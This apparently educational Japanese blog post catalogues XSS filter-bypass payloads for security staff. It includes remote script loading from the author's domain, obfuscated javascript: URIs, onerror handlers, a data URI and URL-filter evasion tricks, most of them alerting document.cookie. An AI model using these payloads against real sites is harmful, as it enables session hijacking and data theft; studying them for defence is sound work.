XSSバイパス・マニュアル【HTML+JavaScript】
最終更新 2022/12/31 19:51
・XSSとは何なのか、 既にある程度理解している方。
・XSSについてはあまり理解できていないが、 気が付いたらセキュリティ部署に配属されてしまっていた方。
XSSとは
XSSは、クロス・サイト・スクリプティング の略で、Webサイトの脆弱性を利用して、第三者である 別のクライアントで任意のJavaScriptを実行する攻撃 です。
任意のJavaSciptを実行する事で、 Cookie情報を抜き取って他人のアカウントに不正にログイン(セッションハイジャック) したり、 ユーザーの入力した情報を全て別のサーバーへ送信(データ漏洩) させるといった事ができます。
本記事では、意図的に「攻撃する側の目線」で、実践的に攻撃方法などを紹介いたします。
しかし、実際にこれらの攻撃を利用して、第三者のウェブサイトを改竄した場合などには、犯罪となってしまう可能性があります。
あくまでも、セキュリティを確保するという目的の上でご利用ください。
""(ダブルクォート)無しのスクリプト指定
<script src=https://www.activetk.jp/xss.js></SCRIPT>
HTMLの仕様上、URLを指定する際にダブルクォートは無くても動作します。
このコードが実際に動作するケースはほぼ皆無かと思います。
""(ダブルクォート)無しのスクリプト指定(応用)
<script src=//www.activetk.jp/xss.js></SCRIPT>
先ほどご説明させていただいた通り、URLを指定する際にダブルクォートは無くても動作します。
また、URLのプロトコル部位は省略する事ができます。
なお、省略した場合には、現在表示しているサイトへアクセスした際に利用されたプロトコルが使用されます。
「`」(バッククォート)の利用
<img src=`javascript:window.alert(document.cookie)`>
ダブルクォート(")やシングルクォート(')だけでなく、バッククォート(`)を利用してコードを指定する事ができます。
バッククォートを知らない開発者さんが作成したサービスへかなり有効な攻撃です。
タブ文字の利用
<img src="java script:window.alert(document.cookie)">
URL内に存在してはならない文字(タブ文字やプロトコル内の空白など)は無視されます。
タブ文字の利用(応用)
<img src="java	script:window.alert(document.cookie)">
エンコードしたタブ文字を埋め込む事もできます。
JavaScript URIの利用
<img src="javascript:window.alert(document.cookie);">
JavaScript:から始まるURIを利用する事で、URLを指定するのと同じような感覚でJavaScriptを実行する事ができます。
これを利用して、画像指定のURLへJavaScript:から始まるURIを指定すれば、自由に任意のスクリプトを実行する事が可能です。
JavaScript URIの利用(応用)
<img src=jAVAscRipT:window.alert(document.cookie)>
HTMLは原則的にタグの大小やプロトコルの文字の大小などに関係なく処理が行われるため、大文字と小文字を混在させても実行する事が可能です。
javascript:やJavaScript:などのURIが無いかだけ判定しているようなサービスであれば、簡単にかいくぐる事が可能です。
ブラウザの裏仕様を利用した攻撃
<img """><script>alert(document.cookie)</script>">
明らかに構文がおかしい。
しかし、さすがはchromium君。勝手に最後のダブルクォートを無視して、構文を直してくれます。
三つダブルクォートがあるので、scriptタグの部分がダブルクォートで挟まれた文字列のように見えますが、なんと三つ目のダブルクォートを無視してしまったおかげで、このscriptが実行されてしまいました。
OnErrorイベントを利用した即時イベント + 文字のエスケープ
<img src=/NOT_FOUND_PATH onerror="javascript:alert('XSS')">
イメージタグに、存在しないパス(404)を指定する事で、読み込み段階で「onerror」イベントが発生します。
また、onerror内の文字列をエスケープする事で、内部のシングルクォートなどの検知を防ぐ事ができます。
HTMLのタグ名直後への冗長な文字列
<script/hogehoge src="https://www.activetk.jp/xss.js"></SCRIPT>
HTMLタグ名やトークン名の後に英語以外の文字があると、無視されます。
<img src!#$%&()*~+-_.,:;?@[/|\]^`=javascript:alert(document.cookie)>
極端な例ですが、ダブルクォートが不要な事を併用して、こんな事も可能です。
Style内のURLへJavaScirpt URI指定
<STYLE>body {background-image-src: url("javascript:alert(document.cookie)");}</STYLE>
Chromeでは動作しない。IEでは動くが、IE利用者は少ないので実用性は無いです。
スタイルシートへのJavaScript URI指定
<link rel="stylesheet" href="javascript:alert(document.cookie);">
まあそもそもスタイルシートを自由に埋め込めるレベルなら普通にScriptタグを配置した方が早いような気が。
こちらも実際の攻撃で使用する事は無いかと思いますが、知っていて損はないかと。
データURIの利用
<img src="data:text/html base64,PGh0bWw+CiAgPHNjcmlwdD53aW5kb3cuYWxlcnQoZG9jdW1lbnQuY29va2llKTs8L3NjcmlwdD4KPC9odG1sPg==">
ウェブサイトを開発した事のある方ならご存じかもしれませんが、data:から始まるURIを指定すると、自由にHTMLや画像ファイルなどを取得できます。
拡張子偽造
<script src="https://www.activetk.jp/xss.txt" type="text/javascript"></SCRIPT>
「.js」の拡張子がブロックされているのであれば、拡張子を変えてしまえば問題ありません。
ブラウザは拡張子に関係なく、レスポンスのMIMEタイプを元にファイルの種類を判定します。
URLによるフィルタリングのバイパス
仮に、https://www.activetk.jp/のURLを含む事ができないシステムだったとします。
IPアドレス指定
http://157.112.187.18/
まあこれは昔から有名な方法ですね。
ただし、ホスト名を複数持っているウェブサーバーなどに対しては有効ではありません。
例えば、YouTubeのサーバーはGoogleのサーバーと同一なので、YouTubeのIPアドレスを指定してアクセスしても、Googleのアドレスへ飛ばされてしまいます。
URLエンコード
https%3A%2F%2Fwww.activetk.jp%2F
URLデコードされたらオワリ。
そこまで意味は無いかと。
相当無能なフィルターならバイパスできます。
プロトコルの削除
//www.activetk.jp/
先ほどと内容が重複しますが、先頭のプロトコルは削除できます。
混合エンコード
複数の種類の改行コードやタブ文字などを混在させます。
意外とバイパスできたりしますが、PHP標準搭載のURL判定関数などを使われると一瞬で割れます。
DNSサーバーからの指定、ポート番号の指定
URLの最後に「ドット」を付けると、「DNS.サーバー」すなわち「ルートサーバー」を表します。
また、URLの最後に「:」を付けるとポート番号を指定する事ができます。
ちなみに、標準のポート番号はHTTPが80、HTTPSが443です。
参考文献